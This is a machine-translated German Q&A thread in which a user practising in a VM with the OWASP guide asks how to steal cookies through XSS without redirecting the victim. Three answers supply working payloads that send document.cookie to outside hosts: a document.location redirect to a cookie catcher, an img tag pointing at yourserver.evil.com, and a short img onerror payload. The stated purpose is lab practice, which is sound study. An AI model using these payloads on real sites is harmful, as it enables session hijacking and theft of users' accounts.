it-swarm.com.de

XSS-Cookie stehlen, ohne auf eine andere Seite umzuleiten

Ich übe in VM gemäß dem OWASP-Handbuch. Ich weiß, dass es möglich ist, das Cookie zu stehlen, indem ich auf die Seite "Falsch" usw. umleitung, aber ich möchte das Cookie stehlen, ohne auf ein anderes umzuleiten Seite.

Also, wenn Sie ein Gästebuch haben und dann setzen Sie:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

Wie kann ich dies in eine vorhandene Seite einfügen, ohne umzuleiten?

Grundsätzlich möchte ich, wenn jemand auf den Link klickt, das Cookie greift und es irgendwo auf der aktuellen Seite druckt. Vielleicht in einem alt -Tag oder was auch immer.

Irgendwelche Ideen?

22
Thomas

Wenn Sie die volle Kontrolle über das Schreiben von JavaScript auf die Seite haben, können Sie dies einfach tun

document.write('cookie: ' + document.cookie)

Wenn Sie möchten, dass es an einen anderen Server gesendet wird, können Sie es in ein nicht vorhandenes Image aufnehmen:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

Der Schlüssel hier ist, ob Sie beliebiges JavaScript ausgeben können oder ob Sie in der Art von JavaScript, die Sie ausführen können, eingeschränkt sind. Wenn Sie jedoch nur begrenzte Möglichkeiten zur Ausgabe haben, können Sie fortgeschrittenere Methoden verwenden, um Ihren benutzerdefinierten Code auszuführen, die etwas außerhalb des Rahmens der Frage liegen.

30
Steve

Um Steves Antwort zu ergänzen, gibt es viele verschiedene Möglichkeiten, dies zu erreichen. Wenn Sie nicht möchten, dass der Benutzer auf das gestohlene Cookie aufmerksam wird, würde ich das <img> Angriff Steve vorgeschlagen. Obwohl ich das document.write lieber meide, da es so viele Zeichen verbraucht:

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
10
disk0nn3ct